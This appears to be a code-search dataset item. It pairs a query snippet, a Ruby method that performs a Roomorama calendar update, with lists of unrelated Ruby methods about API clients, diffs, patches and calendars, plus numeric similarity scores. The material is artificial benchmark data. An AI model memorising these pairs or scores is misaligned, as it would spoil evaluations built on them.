"def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end",
"def orchestrate_client\n client\n end",
"def events_diff(params)\n # params:\n # local = {object [...events]}\n # remote = {ip => {object => [...events]}\n # convert to\n # remote = {object => {event => [..ips]}}\n # then\n # use remote part {object => [...events]} and\n # compare to local, then get object-event that are\n # going to be fetched and apply ips (the choice may be random)\n # that can be used to fetch these events\n local = params[:local]\n remote = params[:remote]\n Log.debug('Synchronizing remote objects:', remote)\n # Transforming data\n remote_objects = {}\n remote.each do |ip, objects|\n objects.each do |object, events|\n remote_objects[object] ||= {}\n events.each do |event|\n remote_objects[object][event] ||= []\n remote_objects[object][event].push(ip)\n end\n end\n end\n\n # Applying algorithm\n diff = self.class.diff_missed(\n v1: local,\n v2: remote_objects.map do |k, v|\n [k, v.keys]\n end.to_h\n )\n\n # Returning duplicate\n # remote_diff = remote_objects.full_dup\n # remote_diff\n diff.map do |obj, tms|\n [\n obj, # 1\n tms.map do |t|\n [t, remote_objects[obj][t]]\n end.to_h # 2\n ]\n end.to_h\n end",
"def lro_client_presenter\n return nil unless lro?\n Gapic::Presenters::Service::LroClientPresenter.new service: \"google.longrunning.operations\",\n client_class_name: \"Operations\",\n client_class_docname: operations_name_full,\n client_var_name: lro_client_var,\n require_str: operations_file_path,\n service_description: \"long-running operations\"\n end",
"def generate_diff\n jsons = version_jsons.map { |j| pretty_json(j) }\n differ = Differ.send(diff_method, *jsons).format_as(:html)\n differ.gsub!('<ins', \"\\n<ins\") if diff_method == :diff_by_line\n @diff = sanitize(differ).html_safe\n end",
"def diffs_to_api\n return @diffs_to_api if @diffs_to_api\n @diffs_to_api = []\n\n diffs.each do |diff|\n path = diff.delta.new_file[:path]\n # Presumably only the first commit\n next if path.split('.').first.to_s.downcase == \"readme\"\n\n lines = []\n diff.each_hunk.each do |hunk|\n lines += hunk.lines\n end\n\n html = OutputRenderer.diff(lines)\n status = diff.delta.status\n\n @diffs_to_api << {\n status: status,\n path: path,\n html: html,\n content: @repo.lookup(diff.delta.new_file[:oid]).content\n }\n\n end\n\n @diffs_to_api\n end",
"def test_cli_from_schema\n uuid = '1ab1c589-df46-40aa-b786-60e83b1efb10'\n body = {'Hello' => 'World!'}\n result = {'Goodbye' => 'Universe!'}\n Excon.stub(method: :patch) do |request|\n assert_equal(\"/resource/#{uuid}\", request[:path])\n assert_equal('application/json', request[:headers]['Content-Type'])\n assert_equal(body, MultiJson.load(request[:body]))\n Excon.stubs.pop\n {status: 200, headers: {'Content-Type' => 'application/json'},\n body: MultiJson.dump(result)}\n end\n\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n output = StringIO.new\n cli = Heroics.cli_from_schema('cli', output, schema, 'https://example.com')\n cli.run('resource:update', uuid, body)\n assert_equal(MultiJson.dump(result, pretty: true) + \"\\n\", output.string)\n end",
"def initialize(client)\n self.client=client\n\n\tend",
"def client\n if !@client || @client.hash != options.hash\n @client = Croudia::Client.new\n end\n @client\n end",
"def client config = {}\n client_config = self.config.merge(config)\n if config.empty? or @config_hash.nil? or (client_config.hash == @config_hash)\n @config_hash = client_config.hash\n url = client_config[:url]\n client_config.delete_if { |k,v| not VALID_CLIENT_OPTIONS.include?(k) }\n client_config[:open_timeout] ||= client_config[:timeout]\n @client ||= RestClient::Resource.new(url, client_config)\n else\n raise ArgumentError, \"Attemping to re-initialize #{self.class}#client with different configuration parameters\"\n end\n end",
"def patch_conversations_call_participant_consult_with_http_info(conversation_id, participant_id, body, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConversationsApi.patch_conversations_call_participant_consult ...\"\n end\n \n \n # verify the required parameter 'conversation_id' is set\n fail ArgumentError, \"Missing the required parameter 'conversation_id' when calling ConversationsApi.patch_conversations_call_participant_consult\" if conversation_id.nil?\n \n \n \n \n \n \n # verify the required parameter 'participant_id' is set\n fail ArgumentError, \"Missing the required parameter 'participant_id' when calling ConversationsApi.patch_conversations_call_participant_consult\" if participant_id.nil?\n \n \n \n \n \n \n # verify the required parameter 'body' is set\n fail ArgumentError, \"Missing the required parameter 'body' when calling ConversationsApi.patch_conversations_call_participant_consult\" if body.nil?\n \n \n \n \n \n # resource path\n local_var_path = \"/api/v2/conversations/calls/{conversationId}/participants/{participantId}/consult\".sub('{format}','json').sub('{' + 'conversationId' + '}', conversation_id.to_s).sub('{' + 'participantId' + '}', participant_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(body)\n \n auth_names = ['PureCloud OAuth']\n data, status_code, headers = @api_client.call_api(:PATCH, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'ConsultTransferResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConversationsApi#patch_conversations_call_participant_consult\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def diff\n each_difference(local_resources, true, &@@diff)\n end",
"def diff(other, callbacks = nil, &block)\n Diff::LCS.diff(self, other, callbacks, &block)\n end",
"def test_nonstandard_lro_all_subclients_another\n presenter = method_presenter :testing, \"AllSubclientsConsumer\", \"AnotherLroRpc\"\n assert presenter.nonstandard_lro?\n assert_equal \"::Testing::NonstandardLroGrpc::AnotherLroProvider::Client\",\n presenter.nonstandard_lro_client.client_class_name\n assert_equal 1, presenter.lro.operation_request_fields.count\n end",
"def difference(another_geometry)\n raise Error::UnsupportedOperation, \"Method Geometry#difference not defined.\"\n end",
"def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end",
"def diff(opts)\n from, to = opts[:from], opts[:to]\n if from && !(Commit === from)\n raise ArgumentError, \"Invalid sha: #{from}\" if from !~ SHA_PATTERN\n from = Reference.new(:repository => self, :id => from)\n end\n if !(Commit === to)\n raise ArgumentError, \"Invalid sha: #{to}\" if to !~ SHA_PATTERN\n to = Reference.new(:repository => self, :id => to)\n end\n Diff.new(from, to, git_diff_tree('--root', '--full-index', '-u',\n opts[:detect_renames] ? '-M' : nil,\n opts[:detect_copies] ? '-C' : nil,\n from ? from.id : nil, to.id, '--', *opts[:path]))\n end",
"def client\n @client\n end",
"def client\n @client\n end",
"def show_service(client, args, options)\n response = client.get(\"#{RESOURCE_PATH}/#{args[0]}\")\n\n if CloudClient::is_error?(response)\n [response.code.to_i, response.to_s]\n else\n #[0,response.body]\n if options[:json]\n [0,response.body]\n else\n str=\"%-20s: %-20s\"\n str_h1=\"%-80s\"\n\n document_hash = JSON.parse(response.body)\n template = document_hash['DOCUMENT']['TEMPLATE']['BODY']\n\n CLIHelper.print_header(str_h1 % \"SERVICE #{document_hash['DOCUMENT']['ID']} INFORMATION\")\n\n puts str % [\"ID\", document_hash['DOCUMENT']['ID']]\n puts str % [\"NAME\", document_hash['DOCUMENT']['NAME']]\n puts str % [\"USER\", document_hash['DOCUMENT']['UNAME']]\n puts str % [\"GROUP\",document_hash['DOCUMENT']['GNAME']]\n\n puts str % [\"STRATEGY\", template['deployment']]\n puts str % [\"SERVICE STATE\", Service.state_str(template['state'])]\n puts str % [\"SHUTDOWN\", template['shutdown_action']] if template['shutdown_action']\n\n puts\n\n CLIHelper.print_header(str_h1 % \"PERMISSIONS\",false)\n\n [\"OWNER\", \"GROUP\", \"OTHER\"].each { |e|\n mask = \"---\"\n mask[0] = \"u\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_U\"] == \"1\"\n mask[1] = \"m\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_M\"] == \"1\"\n mask[2] = \"a\" if document_hash['DOCUMENT']['PERMISSIONS'][\"#{e}_A\"] == \"1\"\n\n puts str % [e, mask]\n }\n\n puts\n\n template['roles'].each {|role|\n CLIHelper.print_header(\"ROLE #{role['name']}\", false)\n\n puts str % [\"ROLE STATE\", Role.state_str(role['state'])]\n puts str % [\"PARENTS\", role['parents'].join(', ')] if role['parents']\n puts str % [\"VM TEMPLATE\", role['vm_template']]\n puts str % [\"CARDINALITY\", role['cardinality']]\n puts str % [\"MIN VMS\", role['min_vms']] if role['min_vms']\n puts str % [\"MAX VMS\", role['max_vms']] if role['max_vms']\n puts str % [\"COOLDOWN\", \"#{role['cooldown']}s\"] if role['cooldown']\n puts str % [\"SHUTDOWN\", role['shutdown_action']] if role['shutdown_action']\n\n puts \"NODES INFORMATION\"\n NODE_TABLE.show(role['nodes'])\n\n if !role['elasticity_policies'].nil? && role['elasticity_policies'].size > 0 || !role['scheduled_policies'].nil? && role['scheduled_policies'].size > 0\n puts\n puts \"ELASTICITY RULES\"\n\n if role['elasticity_policies'] && role['elasticity_policies'].size > 0\n puts\n# puts \"ELASTICITY POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :EXPRESSION, \"\", :left, :size=>48 do |d|\n if !d['expression_evaluated'].nil?\n d['expression_evaluated']\n else\n d['expression']\n end\n end\n\n column :'EVALS', \"\", :right, :size=>5 do |d|\n if d['period_number']\n \"#{d['true_evals'].to_i}/#{d['period_number']}\"\n else\n \"-\"\n end\n end\n\n column :PERIOD, \"\", :size=>6 do |d|\n d['period'] ? \"#{d['period']}s\" : '-'\n end\n\n column :COOL, \"\", :size=>5 do |d|\n d['cooldown'] ? \"#{d['cooldown']}s\" : '-'\n end\n\n default :ADJUST, :EXPRESSION, :EVALS, :PERIOD, :COOL\n end.show([role['elasticity_policies']].flatten, {})\n end\n\n if role['scheduled_policies'] && role['scheduled_policies'].size > 0\n puts\n# puts \"SCHEDULED POLICIES\"\n CLIHelper::ShowTable.new(nil, self) do\n column :ADJUST, \"\", :left, :size=>12 do |d|\n adjust_str(d)\n end\n\n column :TIME, \"\", :left, :size=>67 do |d|\n if d['start_time']\n Time.parse(d['start_time']).to_s\n else\n d['recurrence']\n end\n end\n\n default :ADJUST, :TIME\n end.show([role['scheduled_policies']].flatten, {})\n end\n end\n\n puts\n }\n\n puts\n\n CLIHelper.print_header(str_h1 % \"LOG MESSAGES\",false)\n\n if template['log']\n template['log'].each { |log|\n t = Time.at(log['timestamp']).strftime(\"%m/%d/%y %H:%M\")\n puts \"#{t} [#{log['severity']}] #{log['message']}\"\n }\n end\n\n 0\n end\n end\nend",
"def test_run_with_parameters\n schema = Heroics::Schema.new(SAMPLE_SCHEMA)\n client = Heroics::client_from_schema(schema, 'https://example.com')\n output = StringIO.new\n command = Heroics::Command.new(\n 'cli', schema.resource('resource').link('update'), client, output)\n cli = Heroics::CLI.new('cli', {'resource:update' => command}, output)\n\n uuid = '1ab1c589-df46-40aa-b786-60e83b1efb10'\n body = {'Hello' => 'World!'}\n result = {'Goodbye' => 'Universe!'}\n Excon.stub(method: :patch) do |request|\n assert_equal(\"/resource/#{uuid}\", request[:path])\n assert_equal('application/json', request[:headers]['Content-Type'])\n assert_equal(body, MultiJson.load(request[:body]))\n Excon.stubs.pop\n {status: 200, headers: {'Content-Type' => 'application/json'},\n body: MultiJson.dump(result)}\n end\n\n cli.run('resource:update', uuid, body)\n assert_equal(MultiJson.dump(result, pretty: true) + \"\\n\", output.string)\n end",
"def diff(other)\n Distance.diff_total(self, other, true)\n end",
"def diff_params\n params.require(:diff).permit(:content)\n end",
"def update_client\n\t\tif(request.method == \"OPTIONS\")\n\t\t\trespond({status: 0})\n\t\telsif request.method == \"POST\"\n\t\t\trespond(update_user_client(params))\n\t\tend\n\tend",
"def client; end",
"def client; end",
"def diff url\n gitlab_response = HTTParty.get \"#{url}.diff\", query: {\n private_token: @private_token\n }\n handle_response gitlab_response\n end",
"def get_changes\n CouchRest.get(SERVER.uri << DB.uri << \"/_changes\")\nend",
"def changes(start_ref, end_ref)\n check_refs(start_ref, end_ref)\n s = Mixlib::ShellOut.new(\n \"#{@bin} diff -r #{start_ref}:#{end_ref} --summarize #{@repo_path}\")\n s.run_command.error!\n @logger.info(\"Diff between #{start_ref} and #{end_ref}\")\n s.stdout.lines.map do |line|\n m = line.match(/^(\\w)\\w?\\s+(\\S+)$/)\n fail \"Could not parse line: #{line}\" unless m\n\n {\n :status => m[1] == 'D' ? :deleted : :modified,\n :path => m[2].sub(\"#{@repo_path}/\", '')\n }\n end\n end",
"def merge\n @primary = Client.find(params[:primary_id])\n @secondary = Client.find(params[:secondary_id])\n \n #merge primary_backup and secondary_backup\n @primary.attributes = @secondary.attributes.except(\"id\", \"created_at\", \"updated_at\")\n .delete_if { |k, v| v.blank? }\n #merge tickets\n @secondary.tickets.update_all(client_id: @primary.id)\n #merge backups\n @secondary.backups.update_all(client_id: @primary.id)\n #merge computers\n @secondary.computers.update_all(client_id: @primary.id)\n #merge parts\n @secondary.parts.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.dispatches.update_all(client_id: @primary.id)\n #merge items\n @secondary.items.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.anti_viri.update_all(client_id: @primary.id)\n #merge Contract_services\n @secondary.contract_services.update_all(client_id: @primary.id)\n #merge Contract_service_lines\n @secondary.contract_service_lines.update_all(client_id: @primary.id)\n #save backup merge\n @primary.save\n #remove secondary_backup\n @secondary.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully Merged then destroyed.' }\n format.json { head :no_content }\n \n end\n end",
"def diff(objectish = 'HEAD', obj2 = nil)\n Git::Diff.new(self, objectish, obj2)\n end",
"def find_merge_request_diff_compare\n @merge_request_diff =\n if diff_id = params[:diff_id].presence\n @merge_request.merge_request_diffs.viewable.find_by(id: diff_id)\n else\n @merge_request.merge_request_diff\n end\n\n return unless @merge_request_diff\n\n @comparable_diffs = @merge_request_diffs.select { |diff| diff.id < @merge_request_diff.id }\n\n if @start_sha = params[:start_sha].presence\n @start_version = @comparable_diffs.find { |diff| diff.head_commit_sha == @start_sha }\n\n unless @start_version\n @start_sha = @merge_request_diff.head_commit_sha\n @start_version = @merge_request_diff\n end\n end\n\n if @start_sha\n @merge_request_diff.compare_with(@start_sha)\n else\n @merge_request_diff\n end\n end",
"def update\n respond_to do |format|\n if @otg_client.update(otg_client_params)\n format.html { redirect_to @otg_client, notice: 'Otg client was successfully updated.' }\n format.json { render :show, status: :ok, location: @otg_client }\n else\n format.html { render :edit }\n format.json { render json: @otg_client.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @client = args[:client] if args.key?(:client)\n @list_update_requests = args[:list_update_requests] if args.key?(:list_update_requests)\n end",
"def client\n end",
"def compare_resources(old, new, unified)\n puts \"Individual Resource differences:\"\n\n old.each do |resource|\n new_resource = new.find{|res| res[:resource_id] == resource[:resource_id]}\n next if new_resource.nil?\n\n\n unless new_resource[:parameters] == resource[:parameters]\n if unified\n #Only print the diff of resources\n puts Diffy::Diff.new( string_resource(resource), string_resource(new_resource), :diff => \"-U 1000\")\n else\n puts \"Old Resource:\"\n puts string_resource(resource)\n \n puts\n \n puts \"New Resource:\"\n puts string_resource(new_resource)\n end\n end\n end\nend"
] |
[
"0.60112506",
"0.5681368",
"0.5672869",
"0.56727904",
"0.5665033",
"0.56148654",
"0.5597679",
"0.55949694",
"0.5545563",
"0.5542509",
"0.55396247",
"0.55098134",
"0.54937327",
"0.54937327",
"0.5407725",
"0.5405259",
"0.5381243",
"0.5359567",
"0.5359567",
"0.529869",
"0.5284054",
"0.5269825",
"0.5269825",
"0.52407587",
"0.52225375",
"0.52142",
"0.51867473",
"0.51345795",
"0.5121573",
"0.50992674",
"0.50822693",
"0.50805277",
"0.50788784",
"0.5075587",
"0.50433314",
"0.5019526",
"0.5013849",
"0.50051075",
"0.4995469",
"0.4995469",
"0.49820268",
"0.49820176",
"0.4958335",
"0.4951223",
"0.49476847",
"0.4947533",
"0.49461323",
"0.49435848",
"0.4942098",
"0.49374074",
"0.49338982",
"0.49297",
"0.4927995",
"0.49263608",
"0.49260995",
"0.49260995",
"0.49250352",
"0.4924943",
"0.4923315",
"0.4915608",
"0.49080968",
"0.49047047",
"0.48992518",
"0.48931798",
"0.4890106",
"0.4874959",
"0.48674873",
"0.48563167",
"0.48456174",
"0.48415825",
"0.4840642",
"0.4838716",
"0.48330387",
"0.48329607",
"0.48313445",
"0.48211342",
"0.4809141",
"0.48078695",
"0.4806963",
"0.48049206",
"0.4804686",
"0.4803809",
"0.4803809",
"0.48031336",
"0.4799504",
"0.47924998",
"0.47922105",
"0.47892115",
"0.47812632",
"0.47812632",
"0.47811785",
"0.47786644",
"0.4778325",
"0.4777867",
"0.4777145",
"0.47749373",
"0.4771905",
"0.47714797",
"0.47649318",
"0.47520214"
] |
0.6126598
|
0
|
calendar a +Roomorama::Calendar+ instance representing the changes to be applied to a property's availability calendar. Returns a +Result+ that, when successful, wraps the given calendar instance.
|
def perform(calendar)
result = roomorama_client.perform(operation)
return result unless result.success?
Result.new(calendar)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def process(calendar)\n # if the property trying to have its calendar synchronised was not\n # synchronised by Concierge, then do not attempt to update its calendar,\n # since the API call to Roomorama is going to fail (the +identifier+\n # will not be recognised.)\n return unless synchronised?(calendar.identifier)\n\n return if calendar.empty?\n\n calendar.validate!\n update_counters(calendar)\n operation = Roomorama::Client::Operations.update_calendar(calendar)\n\n run_operation(operation)\n rescue Roomorama::Error => err\n missing_data(err.message, calendar.to_h)\n Result.error(:missing_data, err.message).tap do |error|\n announce_failure(error)\n end\n end",
"def update\n @calendar = Calendar.find(params[:id])\n params[:calendar][:available] = true\n\n respond_to do |format|\n if @calendar.update_attributes(params[:calendar])\n format.html { redirect_to(@calendar, :notice => 'Calendar was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def get_calendar \n\t\t@calendar = @current_user.calendar \n\t\ttodays_date_for_user = (Time.current.utc + @current_user.time_zone_offset.minutes).to_date\n\n\t\tif @calendar\n\t\t\ttodays_schedule = {}\n\t\t\ttomorrows_schedule = {}\n\n\t\t\t@calendar.schedule.each do |time, status|\n\t\t\t\t# get time and convert all times used to users time zone before doing anything \n\t\t\t\tusers_time = DateTime.parse(time) + @current_user.time_zone_offset.minutes\n\t\t\t\t\n\t\t\t\t# users actual date in their time zone and formatted time in schedule to users time zone \n\t\t\t\tdate = users_time.to_date \n\t\t\t\tformatted_time = users_time.strftime(\"%-I:%M%p\").downcase\n\t\t\t\t\n\t\t\t\tif date == todays_date_for_user\n\t\t\t\t\ttodays_schedule[formatted_time] = status \n\t\t\t\telsif date == (todays_date_for_user + 1.day)\n\t\t\t\t\ttomorrows_schedule[formatted_time] = status \n\t\t\t\telse \n\t\t\t\t\t# if outdated, remove from schedule and place in archive \n\t\t\t\t\t@calendar.schedule.except!(time)\n\t\t\t\t\t@calendar.archive[time] = status \n\t\t\t\tend\n\t\t\tend\n\n\t\t\tselected = todays_schedule.length + tomorrows_schedule.length == 0 ? false : true \n\t\t\t\n\t\t\trender json: {is_success: true, todays_schedule: todays_schedule, tomorrows_schedule: tomorrows_schedule, selected: selected}\n\t\t\t\n\t\t\t@calendar.save \t\n\t\t\t@calendar.touch \n\n\t\telse\n\t\t\tCalendar.new(\n\t\t\t\tuser: @current_user, \n\t\t\t\tschedule: {},\n\t\t\t\tarchive: {}\n\t\t)\n\t\t@current_user.calendar.save \n\t\trender json: {is_success: true, todays_schedule: {}, tomorrows_schedule: {}, selected: false }, status: :ok \n\t\tend\n\n\tend",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def to_calendar(calendar = Spok.default_calendar)\n Spok.new(\n Workday.last_workday(@start_date, calendar: calendar),\n Workday.last_workday(@end_date, calendar: calendar)\n )\n end",
"def retrieve_calendar\n response = send_calendar_request(\"/#{@id}\", :get)\n @raw = JSON.parse(response.body)\n instance_variable_set(:@summary, @raw['summary'])\n instance_variable_set(:@location, @raw['location'])\n instance_variable_set(:@description, @raw['description'])\n instance_variable_set(:@time_zone, @raw['timeZone'])\n @html_link = @raw['htmlLink']\n\n self\n end",
"def update\n @availability_calendar = AvailabilityCalendar.find(params[:id])\n\n respond_to do |format|\n if @availability_calendar.update_attributes(params[:availability_calendar])\n format.html { redirect_to(@availability_calendar, :notice => 'Availability calendar was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @availability_calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n\n respond_to do |format|\n if @calendar.update(calendar_params)\n format.html { redirect_to calendars_calendars_url, notice: t('calendar.update') }\n format.json { render :show, status: :ok, location: calendars_calendars_url }\n else\n format.html { render :edit }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_calendar\n @calendar = Calendar.find(params[:id])\n end",
"def patch_calendar(opts = {})\n update_calendar(opts)\n end",
"def get_calendar opt = {}\n calendar = RiCal.Calendar\n subjects = []\n events_list = []\n if opt[:space].nil?\n #Crea la lista de id's de materias que corresponden a la carrera en un año dado\n Materia.find(:all, :conditions => {:codigo_carrera => opt[:career], :anio => opt[:year]}).each do |m|\n subjects << m.codigo.to_i\n end\n #Lo de buscar no reccurrentes diferenciando de los recurrentes es algo que quedo de la vieja busqueda y deberia ser adaptado todo\n # al nuevo objetivo de esta busqueda. Deberia verse que no pertenece a ninguna materia.\n if opt[:all]\n events_list = Evento.find :all, :conditions => \"dtstart > '#{opt[:date]}' AND '#{opt[:date] + 1.day}' > dtstart AND reccurrent = 'f'\"\n events_list += Evento.find :all, :conditions => { :reccurrent => true, :byday => opt[:date].strftime(\"%a\").upcase[0..1]}\n events_list += Evento.find :all, :conditions => \"reccurrent = 't' AND rdate <> ''\"\n events_list += Evento.find :all, :conditions => \"reccurrent = 't' AND exdate <> ''\"\n else\n events_list = Evento.find :all, :conditions => \"dtstart > '#{opt[:date]}' AND '#{opt[:date] + 1.day}' > dtstart AND reccurrent = 'f'\" if opt[:year] == 0\n events_list += Evento.find :all, :conditions => { :reccurrent => true, :byday => opt[:date].strftime(\"%a\").upcase[0..1]}\n events_list += Evento.find :all, :conditions => \"reccurrent = 't' AND rdate <> ''\"\n events_list += Evento.find :all, :conditions => \"reccurrent = 't' AND exdate <> ''\"\n end\n else\n # Buscar eventos segun un espacio\n events_list = Evento.find(:all, :conditions => \"dtstart > '#{opt[:date]}' AND '#{opt[:date] + 1.day}' > dtstart AND reccurrent = 'f' AND espacio_id = #{opt[:space]}\")\n events_list += Evento.find(:all, :conditions => { :reccurrent => true, :byday => opt[:date].strftime(\"%a\").upcase[0..1], :espacio_id => opt[:space]})\n events_list += Evento.find :all, :conditions => \"reccurrent = 't' AND rdate <> ''\"\n events_list += Evento.find :all, :conditions => \"reccurrent = 't' AND exdate <> ''\"\n\n end\n\n # Elimina duplicados\n events_list.uniq!\n\n # Carga al calendario\n events_list.each do |event|\n new_event = RiCal.Event\n new_event.description = event.description || ''\n new_event.dtstart = event.dtstart.strftime '%Y%m%dT%H%M00'\n new_event.dtend = event.dtend.strftime '%Y%m%dT%H%M00'\n new_event.location = event.espacio_id.to_s\n new_event.rrule = \"FREQ=\" + event.freq + \";BYDAY=\" + event.byday + \";INTERVAL=\" + event.interval.to_s + \";UNTIL=\" + event.renddate.strftime('%Y%m%dT%H%M00') if event.reccurrent\n new_event.exdates = event.exdate.to_a\n new_event.rdates = event.rdate.split(',').collect{|e| DateTime.parse e} || ''\n new_event.comment = event.id.to_s\n\n # Analisis de ocurrencia\n if event.reccurrent\n occurrence = new_event.occurrences :count => 1, :starting => opt[:date], :before => opt[:date] + 1\n if occurrence.count > 0\n if event.materia_id.nil? or opt[:all]\n # Agregar el evento sin materia\n calendar.add_subcomponent occurrence[0]\n else\n # Agregar el evento si coincide con alguna materia en subjects\n calendar.add_subcomponent occurrence[0] if subjects.include? event.materia_id #new_event\n end\n end\n else\n if event.materia_id.nil? or opt[:all]\n # Agregar el evento sin discriminarlo\n calendar.add_subcomponent new_event if Date.parse(event.dtstart.year.to_s + '/' + event.dtstart.month.to_s + '/' + event.dtstart.day.to_s) == opt[:date]\n else\n # Agregar el evento si coincide con alguna materia en subjets\n calendar.add_subcomponent new_event if Date.parse(event.dtstart.year.to_s + '/' + event.dtstart.month.to_s + '/' + event.dtstart.day.to_s) == opt[:date] and subjects.include? event.materia_id\n end\n end\n end\n return calendar\n end",
"def update\n respond_to do |format|\n if @calendar.update(calendar_params)\n format.html { redirect_to @calendar, notice: \"Calendar was successfully updated.\" }\n format.json { render :show, status: :ok, location: @calendar }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def earnings_calendar(opts = {})\n data, _status_code, _headers = earnings_calendar_with_http_info(opts)\n data\n end",
"def calendars\n records 'calendar', '/calendars.xml', :method => :get\n end",
"def update\n respond_to do |format|\n raise @calendar.inspect\n\n if @calendar.update(calendar_params)\n format.html { redirect_to @calendar, notice: 'Calendar was successfully updated.' }\n format.json { render :show, status: :ok, location: @calendar }\n else\n format.html { render :edit }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @calendar.update(calendar_params)\n format.html { redirect_to @calendar, notice: 'Calendar was successfully updated.' }\n format.json { render :show, status: :ok, location: @calendar }\n else\n format.html { render :edit }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @calendar.update(calendar_params)\n format.html { redirect_to @calendar, notice: 'Calendar was successfully updated.' }\n format.json { render :show, status: :ok, location: @calendar }\n else\n format.html { render :edit }\n format.json { render json: @calendar.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @calendar = @combined_calendar\n\n respond_to do |format|\n format.html { render :partial => '/admin/calendars/show', :layout => 'admin/admin_show' }\n format.xml { render :xml => @combined_calendar }\n end\n end",
"def get_calendar_list()\n\t\tif(!@client.nil?)\n\t\t\tresponse = @client.execute(api_method: @service.calendar_list.list)\n\t\t\tcalendars = JSON.parse(response.body)\n\t\telse\n\t\t\tputs \"Client No Calendar boi\"\n\t\tend\n\tend",
"def scrape_calendar\n begin\n objects = objects_from_event_api\n objects.select! {|o| DateTime.strptime(o['start'],'%Y-%m-%d') > DateTime.now }\n activities = objects_to_activities(objects)\n return process_calendar(activities)\n rescue Exception => e\n return format_error(e)\n end\n end",
"def update_calendar(opts = {})\n end",
"def calendar_list\n\t\t logger.info(\"-- get_calendar_list_responce st --\") if logger\n\t\t auth unless @auth\n\t\t uri = URI.parse(CALENDAR_LIST_PATH)\n\t\t res = do_get(uri, {})\n\t\t logger.info(\"-- get_calendar_list_responce en(#{res.message}) --\") if logger\n\t\t res\n\t\tend",
"def get_google_calendar\n result = Gandalf::GoogleApiClient.get_google_calendar(self.apps_cal_id)\n result.data\n end",
"def create\n @availability_calendar = AvailabilityCalendar.new(params[:availability_calendar])\n\n respond_to do |format|\n if @availability_calendar.save\n format.html { redirect_to(@availability_calendar, :notice => 'Availability calendar was successfully created.') }\n format.xml { render :xml => @availability_calendar, :status => :created, :location => @availability_calendar }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @availability_calendar.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def call(params)\n payload = build_payload(params)\n result = http.post(endpoint(:property_booking), payload, content_type)\n\n if result.success?\n result_hash = response_parser.to_hash(result.value.body)\n\n if valid_result?(result_hash)\n reservation = SAW::Mappers::Reservation.build(params, result_hash)\n\n Result.new(reservation)\n else\n error_result(result_hash, result.value.body)\n end\n else\n result\n end\n end",
"def assign_calendar\n @event.calendar = Calendar.find(params[:calendars_event][:calendar_id])\n end",
